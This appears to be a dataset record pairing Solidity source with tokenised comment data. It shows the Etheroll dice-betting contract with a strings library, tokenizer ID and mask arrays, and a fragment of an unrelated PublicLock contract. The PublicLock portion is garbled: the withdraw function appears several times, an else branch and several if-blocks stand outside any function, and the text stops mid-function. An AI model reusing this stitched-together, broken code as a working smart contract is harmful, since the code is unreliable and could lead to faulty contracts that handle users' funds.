sha3(needleptr, len)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } var selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop: jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 69 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop: jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret: ptr := add(ptr, needlelen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal returns (uint count) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { count++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return ""; uint len = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) len += parts[i]._len; var ret = new string(len); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } contract SafeMath { function safeToAdd(uint a, uint b) pure internal returns (bool) { return (a + b >= a); } function safeAdd(uint a, uint b) pure internal returns (uint) { require(safeToAdd(a, b)); return (a + b); } function safeToSubtract(uint a, uint b) pure internal returns (bool) { return (b <= a); } function safeSub(uint a, uint b) pure internal returns (uint) { require(safeToSubtract(a, b)); return (a - b); } } contract Etheroll is usingOraclize, SafeMath { using strings for *; /* * checks user profit, bet size and user number is within range */ modifier betIsValid(uint _betSize, uint _userNumber) { require(((((_betSize * (100-(safeSub(_userNumber,1)))) / (safeSub(_userNumber,1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize <= maxProfit && _betSize >= minBet && _userNumber >= minNumber && _userNumber <= maxNumber); _; } /* * checks game is currently active */ modifier gameIsActive { require(gamePaused == false); _; } /* * checks payouts are currently active */ modifier payoutsAreActive { require(payoutsPaused == false); _; } /* * checks only Oraclize address is calling */ modifier onlyOraclize { require(msg.sender == oraclize_cbAddress()); _; } /* * checks only owner address is calling */ modifier onlyOwner { require(msg.sender == owner); _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; uint32 public gasForOraclize; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; uint public maxPendingPayouts; uint public randomQueryID; /* init discontinued contract data */ uint public totalBets = 0; uint public totalWeiWon = 0; uint public totalWeiWagered = 0; /* * user vars */ mapping (bytes32 => address) userAddress; mapping (bytes32 => address) userTempAddress; mapping (bytes32 => bytes32) userBetId; mapping (bytes32 => uint) userBetValue; mapping (bytes32 => uint) userTempBetValue; mapping (bytes32 => uint) userDieResult; mapping (bytes32 => uint) userNumber; mapping (address => uint) userPendingWithdrawals; mapping (bytes32 => uint) userProfit; mapping (bytes32 => uint) userTempReward; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(bytes32 indexed BetID, address indexed UserAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint UserNumber, uint RandomQueryID); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(bytes32 indexed BetID, address indexed UserAddress, uint UserNumber, uint DiceResult, uint Value, int Status, bytes Proof); /* log manual refunds */ event LogRefund(bytes32 indexed BetID, address indexed UserAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); //todo event logString(string stringtolog); event logUint8(uint8 _uint8); /* * init */ function Etheroll() { owner = msg.sender; treasury = msg.sender; oraclize_setNetwork(networkID_auto); /* use TLSNotary for oraclize call */ oraclize_setProof(proofType_Ledger); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ //todo: temp comment //ownerSetMaxProfitAsPercentOfHouse(10000); ownerSetMaxProfitAsPercentOfHouse(1000000); /* init min bet (0.1 ether) */ ownerSetMinBet(100000000000000000); /* init gas for oraclize */ gasForOraclize = 250000; /* init gas price for callback (default 20 gwei)*/ oraclize_setCustomGasPrice(20000000000 wei); } /* * internal function * generate a true random num by prove fair oraclize solution */ function generateRandomNum() internal returns(bytes32){ /* random num solution from oraclize, prove fair paper: http://www.oraclize.it/papers/random_datasource-rev1.pdf */ randomQueryID += 1; uint numberOfBytes = 2; uint delay = 0; return oraclize_newRandomDSQuery(delay, numberOfBytes, gasForOraclize); } /* * public function * user submit bet * only if game is active & bet is valid can query oraclize and set user vars */ function userRollDice(uint rollUnder) public payable gameIsActive betIsValid(msg.value, rollUnder) { bytes32 rngId = generateRandomNum(); /* map bet id to this oraclize query */ userBetId[rngId] = rngId; /* map user lucky number to this oraclize query */ userNumber[rngId] = rollUnder; /* map value of wager to this oraclize query */ userBetValue[rngId] = msg.value; /* map user address to this oraclize query */ userAddress[rngId] = msg.sender; /* safely map user profit to this oraclize query */ userProfit[rngId] = ((((msg.value * (100-(safeSub(rollUnder,1)))) / (safeSub(rollUnder,1))+msg.value))*houseEdge/houseEdgeDivisor)-msg.value; /* safely increase maxPendingPayouts liability - calc all pending payouts under assumption they win */ maxPendingPayouts = safeAdd(maxPendingPayouts, userProfit[rngId]); /* check contract can payout on win */ require(maxPendingPayouts < contractBalance); /* provides accurate numbers for web3 and allows for manual refunds in case of no oraclize __callback */ LogBet(userBetId[rngId], userAddress[rngId], safeAdd(userBetValue[rngId], userProfit[rngId]), userProfit[rngId], userBetValue[rngId], userNumber[rngId], randomQueryID); } /* * semi-public function - only oraclize can call */ /*TLSNotary for oraclize call */ function __callback(bytes32 myid, string result, bytes proof) public onlyOraclize payoutsAreActive { /* user address mapped to query id does not exist */ require(userAddress[myid]!= 0x0); /* if returncode == 0 the proof verification has passed, random number was safely generated */ require(oraclize_randomDS_proofVerify__returnCode(myid, result, proof) == 0); uint maxRange = 100; /* this is the highest uint we want to get. It should never be greater than 2^(8*N), where N is the number of random bytes we had asked the datasource to return */ /* get the uint out in the [1, maxRange] range */ userDieResult[myid] = uint(sha3(result)) % maxRange + 1; /* get the userAddress for this query id */ userTempAddress[myid] = userAddress[myid]; /* delete userAddress for this query id */ delete userAddress[myid]; /* map the userProfit for this query id */ userTempReward[myid] = userProfit[myid]; /* set userProfit for this query id to 0 */ userProfit[myid] = 0; /* safely reduce maxPendingPayouts liability */ maxPendingPayouts = safeSub(maxPendingPayouts, userTempReward[myid]); /* map the userBetValue for this query id */ userTempBetValue[myid] = userBetValue[myid]; /* set userBetValue for this query id to 0 */ userBetValue[myid] = 0; /* total number of bets */ totalBets += 1; /* total wagered */ totalWeiWagered += userTempBetValue[myid]; /* * refund * if result is 0 result is empty or no proof refund original bet value * if refund fails save refund value to userPendingWithdrawals */ if(userDieResult[myid] == 0 || bytes(result).length == 0 || bytes(proof).length == 0){ LogResult(userBetId[myid], userTempAddress[myid], userNumber[myid], userDieResult[myid], userTempBetValue[myid], 3, proof); /* * send refund - external call to an untrusted contract * if send fails map refund value to userPendingWithdrawals[address] * for withdrawal later via userWithdrawPendingTransactions */ if(!userTempAddress[myid].send(userTempBetValue[myid])){ LogResult(userBetId[myid], userTempAddress[myid], userNumber[myid], userDieResult[myid], userTempBetValue[myid], 4, proof); /* if send failed let user withdraw via userWithdrawPendingTransactions */ userPendingWithdrawals[userTempAddress[myid]] = safeAdd(userPendingWithdrawals[userTempAddress[myid]], userTempBetValue[myid]); } return; } /* * pay winner * update contract balance to calculate new max bet * send reward * if send of reward fails save value to userPendingWithdrawals */ if(userDieResult[myid] < userNumber[myid]){ /* safely reduce contract balance by user profit */ contractBalance = safeSub(contractBalance, userTempReward[myid]); /* update total wei won */ totalWeiWon = safeAdd(totalWeiWon, userTempReward[myid]); /* safely calculate payout via profit plus original wager */ userTempReward[myid] = safeAdd(userTempReward[myid], userTempBetValue[myid]); LogResult(userBetId[myid], userTempAddress[myid], userNumber[myid], userDieResult[myid], userTempReward[myid], 1, proof); /* update maximum profit */ setMaxProfit(); /* * send win - external call to an untrusted contract * if send fails map reward value to userPendingWithdrawals[address] * for withdrawal later via userWithdrawPendingTransactions */ if(!userTempAddress[myid].send(userTempReward[myid])){ LogResult(userBetId[myid], userTempAddress[myid], userNumber[myid], userDieResult[myid], userTempReward[myid], 2, proof); /* if send failed let user withdraw via userWithdrawPendingTransactions */ userPendingWithdrawals[userTempAddress[myid]] = safeAdd(userPendingWithdrawals[userTempAddress[myid]], userTempReward[myid]); } return; } /* * no win * send 1 wei to a losing bet * update contract balance to calculate new max bet */ if(userDieResult[myid] >= userNumber[myid]){ LogResult(userBetId[myid], userTempAddress[myid], userNumber[myid], userDieResult[myid], userTempBetValue[myid], 0, proof); /* * safe adjust contractBalance * setMaxProfit * send 1 wei to losing bet */ contractBalance = safeAdd(contractBalance, (userTempBetValue[myid]-1)); /* update maximum profit */ setMaxProfit(); /* * send 1 wei - external call to an untrusted contract */ if(!userTempAddress[myid].send(1)){ /* if send failed let user withdraw via userWithdrawPendingTransactions */ userPendingWithdrawals[userTempAddress[myid]] = safeAdd(userPendingWithdrawals[userTempAddress[myid]], 1); } return; } } /* * public function * in case of a failed refund or win send */ function userWithdrawPendingTransactions() public payoutsAreActive returns (bool) { uint withdrawAmount = userPendingWithdrawals[msg.sender]; userPendingWithdrawals[msg.sender] = 0; /* external call to untrusted contract */ if (msg.sender.call.value(withdrawAmount)()) { return true; } else { /* if send failed revert userPendingWithdrawals[msg.sender] = 0; */ /* user can try to withdraw again later */ userPendingWithdrawals[msg.sender] = withdrawAmount; return false; } } /* check for pending withdrawals */ function userGetPendingTxByAddress(address addressToCheck) public constant returns (uint) { return userPendingWithdrawals[addressToCheck]; } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor; } /* * owner/treasury address only functions */ function () payable onlyOwner { /* safely update contract balance */ contractBalance = safeAdd(contractBalance, msg.value); /* update the maximum profit */ setMaxProfit(); } /* set gas price for oraclize callback */ function ownerSetCallbackGasPrice(uint newCallbackGasPrice) public onlyOwner { oraclize_setCustomGasPrice(newCallbackGasPrice); } /* set gas limit for oraclize query */ function ownerSetOraclizeSafeGas(uint32 newSafeGasToOraclize) public onlyOwner { gasForOraclize = newSafeGasToOraclize; } /* only owner adjust contract balance variable (only used for max profit calc) */ function ownerUpdateContractBalance(uint newContractBalanceInWei) public onlyOwner { contractBalance = newContractBalanceInWei; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 1% contractBalance */ //todo: temp comment //if(newMaxProfitAsPercent > 10000) throw; maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer ether */ function ownerTransferEther(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); sendTo.transfer(amount); LogOwnerTransfer(sendTo, amount); } /* only owner address can do manual refund * used only if bet placed + oraclize failed to __callback * filter LogBet by address and/or userBetId: * LogBet(userBetId[rngId], userAddress[rngId], safeAdd(userBetValue[rngId], userProfit[rngId]), userProfit[rngId], userBetValue[rngId], userNumber[rngId]); * check the following logs do not exist for userBetId and/or userAddress[rngId] before refunding: * LogResult or LogRefund * if LogResult exists user should use the withdraw pattern userWithdrawPendingTransactions */ function ownerRefundUser(bytes32 originalUserBetId, address sendTo, uint originalUserProfit, uint originalUserBetValue) public onlyOwner { /* safely reduce pendingPayouts by userProfit[rngId] */ maxPendingPayouts = safeSub(maxPendingPayouts, originalUserProfit); /* send refund */ sendTo.transfer(originalUserBetValue); /* log refunds */ LogRefund(originalUserBetId, sendTo, originalUserBetValue); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can suicide - emergency */ function ownerkill() public onlyOwner { selfdestruct(owner); } }
checks only owner address is calling/
modifier onlyOwner { require(msg.sender == owner); _; } uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; uint32 public gasForOraclize; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; uint public maxPendingPayouts; uint public randomQueryID; uint public totalWeiWon = 0; uint public totalWeiWagered = 0; mapping (bytes32 => address) userTempAddress; mapping (bytes32 => bytes32) userBetId; mapping (bytes32 => uint) userBetValue; mapping (bytes32 => uint) userTempBetValue; mapping (bytes32 => uint) userDieResult; mapping (bytes32 => uint) userNumber; mapping (address => uint) userPendingWithdrawals; mapping (bytes32 => uint) userProfit; mapping (bytes32 => uint) userTempReward; event logUint8(uint8 _uint8);
6,861,539
[ 1, 12366, 1338, 3410, 1758, 353, 4440, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 5541, 288, 203, 540, 2583, 12, 3576, 18, 15330, 422, 3410, 1769, 203, 540, 389, 31, 203, 565, 289, 203, 203, 565, 2254, 5381, 1071, 23867, 6098, 7244, 12385, 273, 4336, 31, 377, 203, 565, 2254, 5381, 1071, 943, 1854, 273, 14605, 31, 7010, 565, 2254, 5381, 1071, 1131, 1854, 273, 576, 31, 203, 565, 1426, 1071, 7920, 28590, 31, 203, 565, 2254, 1578, 1071, 16189, 1290, 51, 354, 830, 554, 31, 203, 565, 1758, 1071, 3410, 31, 203, 565, 1426, 1071, 293, 2012, 87, 28590, 31, 7010, 565, 1758, 1071, 9787, 345, 22498, 31, 203, 565, 2254, 1071, 6835, 13937, 31, 203, 565, 2254, 1071, 23867, 6098, 31, 1377, 203, 565, 2254, 1071, 943, 626, 7216, 31, 27699, 565, 2254, 1071, 943, 626, 7216, 1463, 8410, 951, 44, 3793, 31, 5397, 203, 565, 2254, 1071, 1131, 38, 278, 31, 7010, 565, 2254, 1071, 943, 8579, 52, 2012, 87, 31, 203, 565, 2254, 1071, 2744, 1138, 734, 31, 203, 377, 203, 565, 2254, 1071, 2078, 3218, 77, 59, 265, 273, 374, 31, 203, 565, 2254, 1071, 2078, 3218, 77, 59, 6817, 329, 273, 374, 31, 7010, 203, 377, 203, 203, 565, 2874, 261, 3890, 1578, 516, 1758, 13, 729, 7185, 1887, 31, 203, 565, 2874, 261, 3890, 1578, 516, 1731, 1578, 13, 729, 38, 278, 548, 31, 203, 565, 2874, 261, 3890, 1578, 516, 2254, 13, 729, 38, 278, 620, 31, 203, 565, 2874, 261, 3890, 1578, 516, 2254, 13, 729, 7185, 38, 278, 620, 31, 7734, 203, 565, 2874, 261, 2 ]
./full_match/5/0x95422c7d13F0A80B6CCb47F8346E21396823bfE6/sources/src/contracts/PublicLock/PublicLockV11.sol
Unlock Protocol address TODO: should we make that private/internal? Duration in seconds for which the keys are valid, after creation should we take a smaller type use less gas? price in wei of the next key TODO: allow support for a keyPriceCalculator which could set prices dynamically Max number of keys sold if the keyReleaseMechanism is public A count of how many new key purchases there have been The account which will receive funds on withdrawal The denominator component for values specified in basis points. lock hooks use to check data version (added to v10) keep track of how many key a single address can use (added to v10) one more hook (added to v11) modifier to check if data has been upgraded
{ using AddressUpgradeable for address; event Withdrawal( address indexed sender, address indexed tokenAddress, address indexed beneficiary, uint amount ); event PricingChanged( uint oldKeyPrice, uint keyPrice, address oldTokenAddress, address tokenAddress ); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); IUnlock public unlockProtocol; uint public expirationDuration; uint public keyPrice; uint public maxNumberOfKeys; uint internal _totalSupply; address payable public beneficiary; uint internal constant BASIS_POINTS_DEN = 10000; ILockKeyPurchaseHook public onKeyPurchaseHook; ILockKeyCancelHook public onKeyCancelHook; ILockValidKeyHook public onValidKeyHook; ILockTokenURIHook public onTokenURIHook; uint public schemaVersion; uint internal _maxKeysPerAddress; ILockKeyTransferHook public onKeyTransferHook; } contract MixinLockCore is function _lockIsUpToDate() internal view { if(schemaVersion != publicLockVersion()) { revert MIGRATION_REQUIRED(); } } function _lockIsUpToDate() internal view { if(schemaVersion != publicLockVersion()) { revert MIGRATION_REQUIRED(); } } function _onlyLockManagerOrBeneficiary() internal view { if(!isLockManager(msg.sender) && msg.sender != beneficiary) { revert ONLY_LOCK_MANAGER_OR_BENEFICIARY(); } } function _onlyLockManagerOrBeneficiary() internal view { if(!isLockManager(msg.sender) && msg.sender != beneficiary) { revert ONLY_LOCK_MANAGER_OR_BENEFICIARY(); } } function _initializeMixinLockCore( address payable _beneficiary, uint _expirationDuration, uint _keyPrice, uint _maxNumberOfKeys ) internal { beneficiary = _beneficiary; expirationDuration = _expirationDuration; keyPrice = _keyPrice; maxNumberOfKeys = _maxNumberOfKeys; schemaVersion = publicLockVersion(); _maxKeysPerAddress = 1; } function publicLockVersion( ) public pure returns (uint16) { return 11; } function withdraw( address _tokenAddress, uint _amount ) external { _onlyLockManagerOrBeneficiary(); uint balance; if(_tokenAddress == address(0)) { balance = address(this).balance; balance = IERC20Upgradeable(_tokenAddress).balanceOf(address(this)); } uint amount; if(_amount == 0 || _amount > balance) { if(balance <= 0) { revert NOT_ENOUGH_FUNDS(); } amount = balance; } else { amount = _amount; } emit Withdrawal(msg.sender, _tokenAddress, beneficiary, amount); } function withdraw( address _tokenAddress, uint _amount ) external { _onlyLockManagerOrBeneficiary(); uint balance; if(_tokenAddress == address(0)) { balance = address(this).balance; balance = IERC20Upgradeable(_tokenAddress).balanceOf(address(this)); } uint amount; if(_amount == 0 || _amount > balance) { if(balance <= 0) { revert NOT_ENOUGH_FUNDS(); } amount = balance; } else { amount = _amount; } emit Withdrawal(msg.sender, _tokenAddress, beneficiary, amount); } } else { function withdraw( address _tokenAddress, uint _amount ) external { _onlyLockManagerOrBeneficiary(); uint balance; if(_tokenAddress == address(0)) { balance = address(this).balance; balance = IERC20Upgradeable(_tokenAddress).balanceOf(address(this)); } uint amount; if(_amount == 0 || _amount > balance) { if(balance <= 0) { revert NOT_ENOUGH_FUNDS(); } amount = balance; } else { amount = _amount; } emit Withdrawal(msg.sender, _tokenAddress, beneficiary, amount); } function withdraw( address _tokenAddress, uint _amount ) external { _onlyLockManagerOrBeneficiary(); uint balance; if(_tokenAddress == address(0)) { balance = address(this).balance; balance = IERC20Upgradeable(_tokenAddress).balanceOf(address(this)); } uint amount; if(_amount == 0 || _amount > balance) { if(balance <= 0) { revert NOT_ENOUGH_FUNDS(); } amount = balance; } else { amount = _amount; } emit Withdrawal(msg.sender, _tokenAddress, beneficiary, amount); } function withdraw( address _tokenAddress, uint _amount ) external { _onlyLockManagerOrBeneficiary(); uint balance; if(_tokenAddress == address(0)) { balance = address(this).balance; balance = IERC20Upgradeable(_tokenAddress).balanceOf(address(this)); } uint amount; if(_amount == 0 || _amount > balance) { if(balance <= 0) { revert NOT_ENOUGH_FUNDS(); } amount = balance; } else { amount = _amount; } emit Withdrawal(msg.sender, _tokenAddress, beneficiary, amount); } _transfer(_tokenAddress, beneficiary, amount); function updateKeyPricing( uint _keyPrice, address _tokenAddress ) external { _onlyLockManager(); _isValidToken(_tokenAddress); uint oldKeyPrice = keyPrice; address oldTokenAddress = tokenAddress; keyPrice = _keyPrice; tokenAddress = _tokenAddress; emit PricingChanged(oldKeyPrice, keyPrice, oldTokenAddress, tokenAddress); } function updateBeneficiary( address payable _beneficiary ) external { _onlyLockManagerOrBeneficiary(); if(_beneficiary == address(0)) { revert INVALID_ADDRESS(); } beneficiary = _beneficiary; } function updateBeneficiary( address payable _beneficiary ) external { _onlyLockManagerOrBeneficiary(); if(_beneficiary == address(0)) { revert INVALID_ADDRESS(); } beneficiary = _beneficiary; } function setEventHooks( address _onKeyPurchaseHook, address _onKeyCancelHook, address _onValidKeyHook, address _onTokenURIHook, address _onKeyTransferHook ) external { _onlyLockManager(); onKeyPurchaseHook = ILockKeyPurchaseHook(_onKeyPurchaseHook); onKeyCancelHook = ILockKeyCancelHook(_onKeyCancelHook); onTokenURIHook = ILockTokenURIHook(_onTokenURIHook); onValidKeyHook = ILockValidKeyHook(_onValidKeyHook); onKeyTransferHook = ILockKeyTransferHook(_onKeyTransferHook); } if(_onKeyPurchaseHook != address(0) && !_onKeyPurchaseHook.isContract()) { revert INVALID_HOOK(0); } if(_onKeyCancelHook != address(0) && !_onKeyCancelHook.isContract()) { revert INVALID_HOOK(1); } if(_onValidKeyHook != address(0) && !_onValidKeyHook.isContract()) { revert INVALID_HOOK(2); } if(_onTokenURIHook != address(0) && !_onTokenURIHook.isContract()) { revert INVALID_HOOK(3); } if(_onKeyTransferHook != address(0) && !_onKeyTransferHook.isContract()) { revert INVALID_HOOK(4); } function totalSupply() public view returns(uint256) { return _totalSupply; } function approveBeneficiary( address _spender, uint _amount ) public returns (bool) { _onlyLockManagerOrBeneficiary(); return 